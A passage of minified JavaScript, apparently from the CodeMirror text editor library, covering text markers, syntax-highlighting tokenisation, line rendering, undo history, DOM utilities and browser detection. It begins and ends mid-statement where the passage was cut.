c=a[b],d=[c.primary.doc];Mf(c.primary.doc,function(a){d.push(a)});for(var e=0;e<c.markers.length;e++){var f=c.markers[e];-1==Lg(d,f.doc)&&(f.parent=null,c.markers.splice(e--,1))}}}function Ie(a,b,c){this.marker=a,this.from=b,this.to=c}function Je(a,b){if(a)for(var c=0;c<a.length;++c){var d=a[c];if(d.marker==b)return d}}function Ke(a,b){for(var c,d=0;d<a.length;++d)a[d]!=b&&(c||(c=[])).push(a[d]);return c}function Le(a,b){a.markedSpans=a.markedSpans?a.markedSpans.concat([b]):[b],b.marker.attachLine(a)}function Me(a,b,c){if(a)for(var e,d=0;d<a.length;++d){var f=a[d],g=f.marker,h=null==f.from||(g.inclusiveLeft?f.from<=b:f.from<b);if(h||f.from==b&&"bookmark"==g.type&&(!c||!f.marker.insertLeft)){var i=null==f.to||(g.inclusiveRight?f.to>=b:f.to>b);(e||(e=[])).push(new Ie(g,f.from,i?null:f.to))}}return e}function Ne(a,b,c){if(a)for(var e,d=0;d<a.length;++d){var f=a[d],g=f.marker,h=null==f.to||(g.inclusiveRight?f.to>=b:f.to>b);if(h||f.from==b&&"bookmark"==g.type&&(!c||f.marker.insertLeft)){var i=null==f.from||(g.inclusiveLeft?f.from<=b:f.from<b);(e||(e=[])).push(new Ie(g,i?null:f.from-b,null==f.to?null:f.to-b))}}return e}function Oe(a,b){var c=zb(a,b.from.line)&&Of(a,b.from.line).markedSpans,d=zb(a,b.to.line)&&Of(a,b.to.line).markedSpans;if(!c&&!d)return null;var e=b.from.ch,f=b.to.ch,g=0==ob(b.from,b.to),h=Me(c,e,g),i=Ne(d,f,g),j=1==b.text.length,k=Jg(b.text).length+(j?e:0);if(h)for(var l=0;l<h.length;++l){var m=h[l];if(null==m.to){var n=Je(i,m.marker);n?j&&(m.to=null==n.to?null:n.to+k):m.to=e}}if(i)for(var l=0;l<i.length;++l){var m=i[l];if(null!=m.to&&(m.to+=k),null==m.from){var n=Je(h,m.marker);n||(m.from=k,j&&(h||(h=[])).push(m))}else m.from+=k,j&&(h||(h=[])).push(m)}h&&(h=Pe(h)),i&&i!=h&&(i=Pe(i));var o=[h];if(!j){var q,p=b.text.length-2;if(p>0&&h)for(var l=0;l<h.length;++l)null==h[l].to&&(q||(q=[])).push(new Ie(h[l].marker,null,null));for(var l=0;p>l;++l)o.push(q);o.push(i)}return o}function Pe(a){for(var b=0;b<a.length;++b){var c=a[b];null!=c.from&&c.from==c.to&&c.marker.clearWhenEmpty!==!1&&a.splice(b--,1)}return a.length?a:null}function Qe(a,b){var c=eg(a,b),d=Oe(a,b);if(!c)return d;if(!d)return c;for(var e=0;e<c.length;++e){var f=c[e],g=d[e];if(f&&g)a:for(var h=0;h<g.length;++h){for(var i=g[h],j=0;j<f.length;++j)if(f[j].marker==i.marker)continue a;f.push(i)}else g&&(c[e]=g)}return c}function Re(a,b,c){var d=null;if(a.iter(b.line,c.line+1,function(a){if(a.markedSpans)for(var b=0;b<a.markedSpans.length;++b){var c=a.markedSpans[b].marker;!c.readOnly||d&&-1!=Lg(d,c)||(d||(d=[])).push(c)}}),!d)return null;for(var e=[{from:b,to:c}],f=0;f<d.length;++f)for(var g=d[f],h=g.find(0),i=0;i<e.length;++i){var j=e[i];if(!(ob(j.to,h.from)<0||ob(j.from,h.to)>0)){var k=[i,1],l=ob(j.from,h.from),m=ob(j.to,h.to);(0>l||!g.inclusiveLeft&&!l)&&k.push({from:j.from,to:h.from}),(m>0||!g.inclusiveRight&&!m)&&k.push({from:h.to,to:j.to}),e.splice.apply(e,k),i+=k.length-1}}return e}function Se(a){var b=a.markedSpans;if(b){for(var c=0;c<b.length;++c)b[c].marker.detachLine(a);a.markedSpans=null}}function Te(a,b){if(b){for(var c=0;c<b.length;++c)b[c].marker.attachLine(a);a.markedSpans=b}}function Ue(a){return a.inclusiveLeft?-1:0}function Ve(a){return a.inclusiveRight?1:0}function We(a,b){var c=a.lines.length-b.lines.length;if(0!=c)return c;var d=a.find(),e=b.find(),f=ob(d.from,e.from)||Ue(a)-Ue(b);if(f)return-f;var g=ob(d.to,e.to)||Ve(a)-Ve(b);return g?g:b.id-a.id}function Xe(a,b){var d,c=v&&a.markedSpans;if(c)for(var e,f=0;f<c.length;++f)e=c[f],e.marker.collapsed&&null==(b?e.from:e.to)&&(!d||We(d,e.marker)<0)&&(d=e.marker);return d}function Ye(a){return Xe(a,!0)}function Ze(a){return Xe(a,!1)}function $e(a,b,c,d,e){var f=Of(a,b),g=v&&f.markedSpans;if(g)for(var h=0;h<g.length;++h){var i=g[h];if(i.marker.collapsed){var j=i.marker.find(0),k=ob(j.from,c)||Ue(i.marker)-Ue(e),l=ob(j.to,d)||Ve(i.marker)-Ve(e);if(!(k>=0&&0>=l||0>=k&&l>=0)&&(0>=k&&(ob(j.to,c)>0||i.marker.inclusiveRight&&e.inclusiveLeft)||k>=0&&(ob(j.from,d)<0||i.marker.inclusiveLeft&&e.inclusiveRight)))return!0}}}function _e(a){for(var b;b=Ye(a);)a=b.find(-1,!0).line;return a}function af(a){for(var b,c;b=Ze(a);)a=b.find(1,!0).line,(c||(c=[])).push(a);return c}function bf(a,b){var c=Of(a,b),d=_e(c);return c==d?b:Sf(d)}function cf(a,b){if(b>a.lastLine())return b;var d,c=Of(a,b);if(!df(a,c))return b;for(;d=Ze(c);)c=d.find(1,!0).line;return Sf(c)+1}function df(a,b){var c=v&&b.markedSpans;if(c)for(var d,e=0;e<c.length;++e)if(d=c[e],d.marker.collapsed){if(null==d.from)return!0;if(!d.marker.widgetNode&&0==d.from&&d.marker.inclusiveLeft&&ef(a,b,d))return!0}}function ef(a,b,c){if(null==c.to){var d=c.marker.find(1,!0);return ef(a,d.line,Je(d.line.markedSpans,c.marker))}if(c.marker.inclusiveRight&&c.to==b.text.length)return!0;for(var e,f=0;f<b.markedSpans.length;++f)if(e=b.markedSpans[f],e.marker.collapsed&&!e.marker.widgetNode&&e.from==c.to&&(null==e.to||e.to!=c.from)&&(e.marker.inclusiveLeft||c.marker.inclusiveRight)&&ef(a,b,e))return!0}function gf(a,b,c){Uf(b)<(a.curOp&&a.curOp.scrollTop||a.doc.scrollTop)&&ae(a,null,c)}function hf(a){if(null!=a.height)return a.height;if(!$g(document.body,a.node)){var b="position: relative;";a.coverGutter&&(b+="margin-left: -"+a.cm.getGutterElement().offsetWidth+"px;"),Zg(a.cm.display.measure,Wg("div",[a.node],null,b))}return a.height=a.node.offsetHeight}function jf(a,b,c,d){var e=new ff(a,c,d);return e.noHScroll&&(a.display.alignWidgets=!0),ee(a.doc,b,"widget",function(b){var c=b.widgets||(b.widgets=[]);if(null==e.insertAt?c.push(e):c.splice(Math.min(c.length-1,Math.max(0,e.insertAt)),0,e),e.line=b,!df(a.doc,b)){var d=Uf(b)<a.doc.scrollTop;Rf(b,b.height+hf(e)),d&&ae(a,null,e.height),a.curOp.forceUpdate=!0}return!0}),e}function lf(a,b,c,d){a.text=b,a.stateAfter&&(a.stateAfter=null),a.styles&&(a.styles=null),null!=a.order&&(a.order=null),Se(a),Te(a,c);var e=d?d(a):1;e!=a.height&&Rf(a,e)}function mf(a){a.parent=null,Se(a)}function nf(a,b){if(a)for(;;){var c=a.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!c)break;a=a.slice(0,c.index)+a.slice(c.index+c[0].length);var d=c[1]?"bgClass":"textClass";null==b[d]?b[d]=c[2]:new RegExp("(?:^|s)"+c[2]+"(?:$|s)").test(b[d])||(b[d]+=" "+c[2])}return a}function of(a,b){if(a.blankLine)return a.blankLine(b);if(a.innerMode){var c=w.innerMode(a,b);return c.mode.blankLine?c.mode.blankLine(c.state):void 0}}function pf(a,b,c){for(var d=0;10>d;d++){var e=a.token(b,c);if(b.pos>b.start)return e}throw new Error("Mode "+a.name+" failed to advance stream.")}function qf(a,b,c,d,e,f,g){var h=c.flattenSpans;null==h&&(h=a.options.flattenSpans);var l,i=0,j=null,k=new ze(b,a.options.tabSize);for(""==b&&nf(of(c,d),f);!k.eol();){if(k.pos>a.options.maxHighlightLength?(h=!1,g&&tf(a,b,d,k.pos),k.pos=b.length,l=null):l=nf(pf(c,k,d),f),a.options.addModeClass){var m=w.innerMode(c,d).mode.name;m&&(l="m-"+(l?m+" "+l:m))}h&&j==l||(i<k.start&&e(k.start,j),i=k.start,j=l),k.start=k.pos}for(;i<k.pos;){var n=Math.min(k.pos,i+5e4);e(n,j),i=n}}function rf(a,b,c,d){var e=[a.state.modeGen],f={};qf(a,b.text,a.doc.mode,c,function(a,b){e.push(a,b)},f,d);for(var g=0;g<a.state.overlays.length;++g){var h=a.state.overlays[g],i=1,j=0;qf(a,b.text,h.mode,!0,function(a,b){for(var c=i;a>j;){var d=e[i];d>a&&e.splice(i,1,a,e[i+1],d),i+=2,j=Math.min(a,d)}if(b)if(h.opaque)e.splice(c,i-c,a,"cm-overlay "+b),i=c+2;else for(;i>c;c+=2){var f=e[c+1];e[c+1]=(f?f+" ":"")+"cm-overlay "+b}},f)}return{styles:e,classes:f.bgClass||f.textClass?f:null}}function sf(a,b){if(!b.styles||b.styles[0]!=a.state.modeGen){var c=rf(a,b,b.stateAfter=Xb(a,Sf(b)));b.styles=c.styles,c.classes?b.styleClasses=c.classes:b.styleClasses&&(b.styleClasses=null)}return b.styles}function tf(a,b,c,d){var e=a.doc.mode,f=new ze(b,a.options.tabSize);for(f.start=f.pos=d||0,""==b&&of(e,c);!f.eol()&&f.pos<=a.options.maxHighlightLength;)pf(e,f,c),f.start=f.pos}function wf(a,b){if(!a||/^\s*$/.test(a))return null;var c=b.addModeClass?vf:uf;return c[a]||(c[a]=a.replace(/\S+/g,"cm-$&"))}function xf(a,b){var c=Wg("span",null,null,f?"padding-right: .1px":null),e={pre:Wg("pre",[c]),content:c,col:0,pos:0,cm:a};b.measure={};for(var g=0;g<=(b.rest?b.rest.length:0);g++){var i,h=g?b.rest[g-1]:b.line;e.pos=0,e.addToken=zf,(d||f)&&a.getOption("lineWrapping")&&(e.addToken=Af(e.addToken)),oh(a.display.measure)&&(i=Vf(h))&&(e.addToken=Bf(e.addToken,i)),e.map=[],Df(h,e,sf(a,h)),h.styleClasses&&(h.styleClasses.bgClass&&(e.bgClass=dh(h.styleClasses.bgClass,e.bgClass||"")),h.styleClasses.textClass&&(e.textClass=dh(h.styleClasses.textClass,e.textClass||""))),0==e.map.length&&e.map.push(0,0,e.content.appendChild(mh(a.display.measure))),0==g?(b.measure.map=e.map,b.measure.cache={}):((b.measure.maps||(b.measure.maps=[])).push(e.map),(b.measure.caches||(b.measure.caches=[])).push({}))}return rg(a,"renderLine",a,b.line,e.pre),e.pre.className&&(e.textClass=dh(e.pre.className,e.textClass||"")),e}function yf(a){var b=Wg("span","\u2022","cm-invalidchar");return b.title="\\u"+a.charCodeAt(0).toString(16),b}function zf(a,b,c,f,g,h){if(b){var i=a.cm.options.specialChars,j=!1;if(i.test(b))for(var k=document.createDocumentFragment(),l=0;;){i.lastIndex=l;var m=i.exec(b),n=m?m.index-l:b.length-l;if(n){var o=document.createTextNode(b.slice(l,l+n));d&&9>e?k.appendChild(Wg("span",[o])):k.appendChild(o),a.map.push(a.pos,a.pos+n,o),a.col+=n,a.pos+=n}if(!m)break;if(l+=n+1,"	"==m[0]){var p=a.cm.options.tabSize,q=p-a.col%p,o=k.appendChild(Wg("span",Ig(q),"cm-tab"));a.col+=q}else{var o=a.cm.options.specialCharPlaceholder(m[0]);d&&9>e?k.appendChild(Wg("span",[o])):k.appendChild(o),a.col+=1}a.map.push(a.pos,a.pos+1,o),a.pos++}else{a.col+=b.length;var k=document.createTextNode(b);a.map.push(a.pos,a.pos+b.length,k),d&&9>e&&(j=!0),a.pos+=b.length}if(c||f||g||j){var r=c||"";f&&(r+=f),g&&(r+=g);var s=Wg("span",[k],r);return h&&(s.title=h),a.content.appendChild(s)}a.content.appendChild(k)}}function Af(a){function b(a){for(var b=" ",c=0;c<a.length-2;++c)b+=c%2?" ":"\xa0";return b+=" "}return function(c,d,e,f,g,h){a(c,d.replace(/ {3,}/g,b),e,f,g,h)}}function Bf(a,b){return function(c,d,e,f,g,h){e=e?e+" cm-force-border":"cm-force-border";for(var i=c.pos,j=i+d.length;;){for(var k=0;k<b.length;k++){var l=b[k];if(l.to>i&&l.from<=i)break}if(l.to>=j)return a(c,d,e,f,g,h);a(c,d.slice(0,l.to-i),e,f,null,h),f=null,d=d.slice(l.to-i),i=l.to}}}function Cf(a,b,c,d){var e=!d&&c.widgetNode;e&&(a.map.push(a.pos,a.pos+b,e),a.content.appendChild(e)),a.pos+=b}function Df(a,b,c){var d=a.markedSpans,e=a.text,f=0;if(d)for(var k,m,n,o,p,q,h=e.length,i=0,g=1,j="",l=0;;){if(l==i){m=n=o=p="",q=null,l=1/0;for(var r=[],s=0;s<d.length;++s){var t=d[s],u=t.marker;t.from<=i&&(null==t.to||t.to>i)?(null!=t.to&&l>t.to&&(l=t.to,n=""),u.className&&(m+=" "+u.className),u.startStyle&&t.from==i&&(o+=" "+u.startStyle),u.endStyle&&t.to==l&&(n+=" "+u.endStyle),u.title&&!p&&(p=u.title),u.collapsed&&(!q||We(q.marker,u)<0)&&(q=t)):t.from>i&&l>t.from&&(l=t.from),"bookmark"==u.type&&t.from==i&&u.widgetNode&&r.push(u)}if(q&&(q.from||0)==i&&(Cf(b,(null==q.to?h+1:q.to)-i,q.marker,null==q.from),null==q.to))return;if(!q&&r.length)for(var s=0;s<r.length;++s)Cf(b,0,r[s])}if(i>=h)break;for(var v=Math.min(h,l);;){if(j){var w=i+j.length;if(!q){var x=w>v?j.slice(0,v-i):j;b.addToken(b,x,k?k+m:m,o,i+x.length==l?n:"",p)}if(w>=v){j=j.slice(v-i),i=v;break}i=w,o=""}j=e.slice(f,f=c[g++]),k=wf(c[g++],b.cm.options)}}else for(var g=1;g<c.length;g+=2)b.addToken(b,e.slice(f,f=c[g]),wf(c[g+1],b.cm.options))}function Ef(a,b){return 0==b.from.ch&&0==b.to.ch&&""==Jg(b.text)&&(!a.cm||a.cm.options.wholeLineUpdateBefore)}function Ff(a,b,c,d){function e(a){return c?c[a]:null}function f(a,c,e){lf(a,c,e,d),tg(a,"change",a,b)}var g=b.from,h=b.to,i=b.text,j=Of(a,g.line),k=Of(a,h.line),l=Jg(i),m=e(i.length-1),n=h.line-g.line;if(Ef(a,b)){for(var o=0,p=[];o<i.length-1;++o)p.push(new kf(i[o],e(o),d));f(k,k.text,m),n&&a.remove(g.line,n),p.length&&a.insert(g.line,p)}else if(j==k)if(1==i.length)f(j,j.text.slice(0,g.ch)+l+j.text.slice(h.ch),m);else{for(var p=[],o=1;o<i.length-1;++o)p.push(new kf(i[o],e(o),d));p.push(new kf(l+j.text.slice(h.ch),m,d)),f(j,j.text.slice(0,g.ch)+i[0],e(0)),a.insert(g.line+1,p)}else if(1==i.length)f(j,j.text.slice(0,g.ch)+i[0]+k.text.slice(h.ch),e(0)),a.remove(g.line+1,n);else{f(j,j.text.slice(0,g.ch)+i[0],e(0)),f(k,l+k.text.slice(h.ch),m);for(var o=1,p=[];o<i.length-1;++o)p.push(new kf(i[o],e(o),d));n>1&&a.remove(g.line+1,n-1),a.insert(g.line+1,p)}tg(a,"change",a,b)}function Gf(a){this.lines=a,this.parent=null;for(var b=0,c=0;b<a.length;++b)a[b].parent=this,c+=a[b].height;this.height=c}function Hf(a){this.children=a;for(var b=0,c=0,d=0;d<a.length;++d){var e=a[d];b+=e.chunkSize(),c+=e.height,e.parent=this}this.size=b,this.height=c,this.parent=null}function Mf(a,b,c){function d(a,e,f){if(a.linked)for(var g=0;g<a.linked.length;++g){var h=a.linked[g];if(h.doc!=e){var i=f&&h.sharedHist;(!c||i)&&(b(h.doc,i),d(h.doc,a,i))}}}d(a,null,!0)}function Nf(a,b){if(b.cm)throw new Error("This document is already in use.");a.doc=b,b.cm=a,C(a),y(a),a.options.lineWrapping||J(a),a.options.mode=b.modeOption,Qc(a)}function Of(a,b){if(b-=a.first,0>b||b>=a.size)throw new Error("There is no line "+(b+a.first)+" in the document.");for(var c=a;!c.lines;)for(var d=0;;++d){var e=c.children[d],f=e.chunkSize();if(f>b){c=e;break}b-=f}return c.lines[b]}function Pf(a,b,c){var d=[],e=b.line;return a.iter(b.line,c.line+1,function(a){var f=a.text;e==c.line&&(f=f.slice(0,c.ch)),e==b.line&&(f=f.slice(b.ch)),d.push(f),++e}),d}function Qf(a,b,c){var d=[];return a.iter(b,c,function(a){d.push(a.text)}),d}function Rf(a,b){var c=b-a.height;if(c)for(var d=a;d;d=d.parent)d.height+=c}function Sf(a){if(null==a.parent)return null;for(var b=a.parent,c=Lg(b.lines,a),d=b.parent;d;b=d,d=d.parent)for(var e=0;d.children[e]!=b;++e)c+=d.children[e].chunkSize();return c+b.first}function Tf(a,b){var c=a.first;a:do{for(var d=0;d<a.children.length;++d){var e=a.children[d],f=e.height;if(f>b){a=e;continue a}b-=f,c+=e.chunkSize()}return c}while(!a.lines);for(var d=0;d<a.lines.length;++d){var g=a.lines[d],h=g.height;if(h>b)break;b-=h}return c+d}function Uf(a){a=_e(a);for(var b=0,c=a.parent,d=0;d<c.lines.length;++d){var e=c.lines[d];if(e==a)break;b+=e.height}for(var f=c.parent;f;c=f,f=c.parent)for(var d=0;d<f.children.length;++d){var g=f.children[d];if(g==c)break;b+=g.height}return b}function Vf(a){var b=a.order;return null==b&&(b=a.order=Jh(a.text)),b}function Wf(a){this.done=[],this.undone=[],this.undoDepth=1/0,this.lastModTime=this.lastSelTime=0,this.lastOp=this.lastSelOp=null,this.lastOrigin=this.lastSelOrigin=null,this.generation=this.maxGeneration=a||1}function Xf(a,b){var c={from:pb(b.from),to:Ld(b),text:Pf(a,b.from,b.to)};return cg(a,c,b.from.line,b.to.line+1),Mf(a,function(a){cg(a,c,b.from.line,b.to.line+1)},!0),c}function Yf(a){for(;a.length;){var b=Jg(a);if(!b.ranges)break;a.pop()}}function Zf(a,b){return b?(Yf(a.done),Jg(a.done)):a.done.length&&!Jg(a.done).ranges?Jg(a.done):a.done.length>1&&!a.done[a.done.length-2].ranges?(a.done.pop(),Jg(a.done)):void 0}function $f(a,b,c,d){var e=a.history;e.undone.length=0;var g,f=+new Date;if((e.lastOp==d||e.lastOrigin==b.origin&&b.origin&&("+"==b.origin.charAt(0)&&a.cm&&e.lastModTime>f-a.cm.options.historyEventDelay||"*"==b.origin.charAt(0)))&&(g=Zf(e,e.lastOp==d))){var h=Jg(g.changes);0==ob(b.from,b.to)&&0==ob(b.from,h.to)?h.to=Ld(b):g.changes.push(Xf(a,b))}else{var i=Jg(e.done);for(i&&i.ranges||bg(a.sel,e.done),g={changes:[Xf(a,b)],generation:e.generation},e.done.push(g);e.done.length>e.undoDepth;)e.done.shift(),e.done[0].ranges||e.done.shift()}e.done.push(c),e.generation=++e.maxGeneration,e.lastModTime=e.lastSelTime=f,e.lastOp=e.lastSelOp=d,e.lastOrigin=e.lastSelOrigin=b.origin,h||rg(a,"historyAdded")}function _f(a,b,c,d){var e=b.charAt(0);return"*"==e||"+"==e&&c.ranges.length==d.ranges.length&&c.somethingSelected()==d.somethingSelected()&&new Date-a.history.lastSelTime<=(a.cm?a.cm.options.historyEventDelay:500)}function ag(a,b,c,d){var e=a.history,f=d&&d.origin;c==e.lastSelOp||f&&e.lastSelOrigin==f&&(e.lastModTime==e.lastSelTime&&e.lastOrigin==f||_f(a,f,Jg(e.done),b))?e.done[e.done.length-1]=b:bg(b,e.done),e.lastSelTime=+new Date,e.lastSelOrigin=f,e.lastSelOp=c,d&&d.clearRedo!==!1&&Yf(e.undone)}function bg(a,b){var c=Jg(b);c&&c.ranges&&c.equals(a)||b.push(a)}function cg(a,b,c,d){var e=b["spans_"+a.id],f=0;a.iter(Math.max(a.first,c),Math.min(a.first+a.size,d),function(c){c.markedSpans&&((e||(e=b["spans_"+a.id]={}))[f]=c.markedSpans),++f})}function dg(a){if(!a)return null;for(var c,b=0;b<a.length;++b)a[b].marker.explicitlyCleared?c||(c=a.slice(0,b)):c&&c.push(a[b]);return c?c.length?c:null:a}function eg(a,b){var c=b["spans_"+a.id];if(!c)return null;for(var d=0,e=[];d<b.text.length;++d)e.push(dg(c[d]));return e}function fg(a,b,c){for(var d=0,e=[];d<a.length;++d){var f=a[d];if(f.ranges)e.push(c?sb.prototype.deepCopy.call(f):f);else{var g=f.changes,h=[];e.push({changes:h});for(var i=0;i<g.length;++i){var k,j=g[i];if(h.push({from:j.from,to:j.to,text:j.text}),b)for(var l in j)(k=l.match(/^spans_(\d+)$/))&&Lg(b,Number(k[1]))>-1&&(Jg(h)[l]=j[l],delete j[l])}}}return e}function gg(a,b,c,d){c<a.line?a.line+=d:b<a.line&&(a.line=b,a.ch=0)}function hg(a,b,c,d){for(var e=0;e<a.length;++e){var f=a[e],g=!0;if(f.ranges){f.copied||(f=a[e]=f.deepCopy(),f.copied=!0);for(var h=0;h<f.ranges.length;h++)gg(f.ranges[h].anchor,b,c,d),gg(f.ranges[h].head,b,c,d)}else{for(var h=0;h<f.changes.length;++h){var i=f.changes[h];if(c<i.from.line)i.from=nb(i.from.line+d,i.from.ch),i.to=nb(i.to.line+d,i.to.ch);else if(b<=i.to.line){g=!1;break}}g||(a.splice(0,e+1),e=0)}}}function ig(a,b){var c=b.from.line,d=b.to.line,e=b.text.length-(d-c)-1;hg(a.done,c,d,e),hg(a.undone,c,d,e)}function lg(a){return null!=a.defaultPrevented?a.defaultPrevented:0==a.returnValue}function ng(a){return a.target||a.srcElement}function og(a){var b=a.which;return null==b&&(1&a.button?b=1:2&a.button?b=3:4&a.button&&(b=2)),p&&a.ctrlKey&&1==b&&(b=3),b}function tg(a,b){function f(a){return function(){a.apply(null,d)}}var c=a._handlers&&a._handlers[b];if(c){var e,d=Array.prototype.slice.call(arguments,2);zc?e=zc.delayedCallbacks:sg?e=sg:(e=sg=[],setTimeout(ug,0));for(var g=0;g<c.length;++g)e.push(f(c[g]))}}function ug(){var a=sg;sg=null;for(var b=0;b<a.length;++b)a[b]()}function vg(a,b,c){return rg(a,c||b.type,a,b),lg(b)||b.codemirrorIgnore}function wg(a){var b=a._handlers&&a._handlers.cursorActivity;if(b)for(var c=a.curOp.cursorActivityHandlers||(a.curOp.cursorActivityHandlers=[]),d=0;d<b.length;++d)-1==Lg(c,b[d])&&c.push(b[d])}function xg(a,b){var c=a._handlers&&a._handlers[b];return c&&c.length>0}function yg(a){a.prototype.on=function(a,b){pg(this,a,b)},a.prototype.off=function(a,b){qg(this,a,b)}}function Eg(){this.id=null}function Gg(a,b,c){for(var d=0,e=0;;){var f=a.indexOf("	",d);-1==f&&(f=a.length);var g=f-d;if(f==a.length||e+g>=b)return d+Math.min(g,b-e);if(e+=f-d,e+=c-e%c,d=f+1,e>=b)return d}}function Ig(a){for(;Hg.length<=a;)Hg.push(Jg(Hg)+" ");return Hg[a]}function Jg(a){return a[a.length-1]}function Lg(a,b){for(var c=0;c<a.length;++c)if(a[c]==b)return c;return-1}function Mg(a,b){for(var c=[],d=0;d<a.length;d++)c[d]=b(a[d],d);return c}function Ng(a,b){var c;if(Object.create)c=Object.create(a);else{var d=function(){};d.prototype=a,c=new d}return b&&Og(b,c),c}function Og(a,b,c){b||(b={});for(var d in a)!a.hasOwnProperty(d)||c===!1&&b.hasOwnProperty(d)||(b[d]=a[d]);return b}function Pg(a){var b=Array.prototype.slice.call(arguments,1);return function(){return a.apply(null,b)}}function Sg(a,b){return b?b.source.indexOf("\\w")>-1&&Rg(a)?!0:b.test(a):Rg(a)}function Tg(a){for(var b in a)if(a.hasOwnProperty(b)&&a[b])return!1;return!0}function Vg(a){return a.charCodeAt(0)>=768&&Ug.test(a)}function Wg(a,b,c,d){var e=document.createElement(a);if(c&&(e.className=c),d&&(e.style.cssText=d),"string"==typeof b)e.appendChild(document.createTextNode(b));else if(b)for(var f=0;f<b.length;++f)e.appendChild(b[f]);return e}function Yg(a){for(var b=a.childNodes.length;b>0;--b)a.removeChild(a.firstChild);return a}function Zg(a,b){return Yg(a).appendChild(b)}function $g(a,b){if(a.contains)return a.contains(b);for(;b=b.parentNode;)if(b==a)return!0}function _g(){return document.activeElement}function ah(a){return new RegExp("\\b"+a+"\\b\\s*")}function bh(a,b){var c=ah(b);c.test(a.className)&&(a.className=a.className.replace(c,""))}function ch(a,b){ah(b).test(a.className)||(a.className+=" "+b)}function dh(a,b){for(var c=a.split(" "),d=0;d<c.length;d++)c[d]&&!ah(c[d]).test(b)&&(b+=" "+c[d]);return b}function eh(a){if(document.body.getElementsByClassName)for(var b=document.body.getElementsByClassName("CodeMirror"),c=0;c<b.length;c++){var d=b[c].CodeMirror;d&&a(d)}}function gh(){fh||(hh(),fh=!0)}function hh(){var a;pg(window,"resize",function(){null==a&&(a=setTimeout(function(){a=null,jh=null,eh(ed)},100))}),pg(window,"blur",function(){eh(Id)})}function kh(a){if(null!=jh)return jh;var b=Wg("div",null,null,"width: 50px; height: 50px; overflow-x: scroll");return Zg(a,b),b.offsetWidth&&(jh=b.offsetHeight-b.clientHeight),jh||0}function mh(a){if(null==lh){var b=Wg("span","\u200b");Zg(a,Wg("span",[b,document.createTextNode("x")])),0!=a.firstChild.offsetHeight&&(lh=b.offsetWidth<=1&&b.offsetHeight>2&&!(d&&8>e))}return lh?Wg("span","\u200b"):Wg("span","\xa0",null,"display: inline-block; width: 1px; margin-right: -1px")}function oh(a){if(null!=nh)return nh;var b=Zg(a,document.createTextNode("A\u062eA")),c=Xg(b,0,1).getBoundingClientRect();if(!c||c.left==c.right)return!1;var d=Xg(b,1,2).getBoundingClientRect();return nh=d.right-c.right<3}function th(a){if(null!=sh)return sh;var b=Zg(a,Wg("span","x")),c=b.getBoundingClientRect(),d=Xg(b,0,1).getBoundingClientRect();return sh=Math.abs(c.left-d.left)>1}function vh(a,b,c,d){if(!a)return d(b,c,"ltr");for(var e=!1,f=0;f<a.length;++f){var g=a[f];(g.from<c&&g.to>b||b==c&&g.to==b)&&(d(Math.max(g.from,b),Math.min(g.to,c),1==g.level?"rtl":"ltr"),e=!0)}e||d(b,c,"ltr")}function wh(a){return a.level%2?a.to:a.from}function xh(a){return a.level%2?a.from:a.to}function yh(a){var b=Vf(a);return b?wh(b[0]):0}function zh(a){var b=Vf(a);return b?xh(Jg(b)):a.text.length}function Ah(a,b){var c=Of(a.doc,b),d=_e(c);d!=c&&(b=Sf(d));var e=Vf(d),f=e?e[0].level%2?zh(d):yh(d):0;return nb(b,f)}function Bh(a,b){for(var c,d=Of(a.doc,b);c=Ze(d);)d=c.find(1,!0).line,b=null;var e=Vf(d),f=e?e[0].level%2?yh(d):zh(d):d.text.length;return nb(null==b?Sf(d):b,f)}function Ch(a,b){var c=Ah(a,b.line),d=Of(a.doc,c.line),e=Vf(d);if(!e||0==e[0].level){var f=Math.max(0,d.text.search(/\S/)),g=b.line==c.line&&b.ch<=f&&b.ch;return nb(c.line,g?0:f)}return c}function Dh(a,b,c){var d=a[0].level;return b==d?!0:c==d?!1:c>b}function Fh(a,b){Eh=null;for(var d,c=0;c<a.length;++c){var e=a[c];if(e.from<b&&e.to>b)return c;if(e.from==b||e.to==b){if(null!=d)return Dh(a,e.level,a[d].level)?(e.from!=e.to&&(Eh=d),c):(e.from!=e.to&&(Eh=c),d);d=c}}return d}function Gh(a,b,c,d){if(!d)return b+c;do b+=c;while(b>0&&Vg(a.text.charAt(b)));return b}function Hh(a,b,c,d){var e=Vf(a);if(!e)return Ih(a,b,c,d);for(var f=Fh(e,b),g=e[f],h=Gh(a,b,g.level%2?-c:c,d);;){if(h>g.from&&h<g.to)return h;if(h==g.from||h==g.to)return Fh(e,h)==f?h:(g=e[f+=c],c>0==g.level%2?g.to:g.from);if(g=e[f+=c],!g)return null;h=c>0==g.level%2?Gh(a,g.to,-1,d):Gh(a,g.from,1,d)}}function Ih(a,b,c,d){var e=b+c;if(d)for(;e>0&&Vg(a.text.charAt(e));)e+=c;return 0>e||e>a.text.length?null:e}var a=/gecko\/\d/i.test(navigator.userAgent),b=/MSIE \d/.test(navigator.userAgent),c=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent),d=b||c,e=d&&(b?document.documentMode||6:c[1]),f=/WebKit\//.test(navigator.userAgent),g=f&&/Qt\/\d+\.\d+/.test(navigator.userAgent),h=/Chrome\//.test(navigator.userAgent),i=/Opera\//.test(navigator.userAgent),j=/Apple Computer/.test(navigator.vendor),k=/KHTML\//.test(navigator.userAgent),l=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(navigator.userAgent),m=/PhantomJS/.test(navigator.userAgent),n=/AppleWebKit/.test(navigator.userAgent)&&/Mobile\/\w+/.test(navigator.userAgent),o=n||/Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(navigator.userAgent),p=n||/Mac/.test(navigator.platform),q=/win/i.test(navigator.platform),r=i&&navigator.userAgent.match(/Version\/(\d*\.\d*)/);r&&(r=Number(r[1])),r&&r>=15&&(i=!1,f=!0);var s=p&&(g||i&&(null==r||12.11>r)),t=a||d&&e>=9,u=!1,v=!1,nb=w.Pos=function(a,b){return this instanceof nb?(this.line=a,this.ch=b,void 0):new nb(a,b)},ob=w.cmpPos=function(a,b){return a.line-b.line||a.ch-b.ch};sb.prototype={primary:function(){return this.ranges[this.primIndex]},equals:function(a){if(a==this)return!0;if(a.primIndex!=this.primIndex||a.ranges.length!=this.ranges.length)return!1;for(var b=0;b<this.ranges.length;b++){var c=this.ranges[b],d=a.ranges[b];if(0!=ob(c.anchor,d.anchor)||0!=ob(c.head,d.head))return!1}return!0},deepCopy:function(){for(var a=[],b=0;b<this.ranges.length;b++)a[b]=new 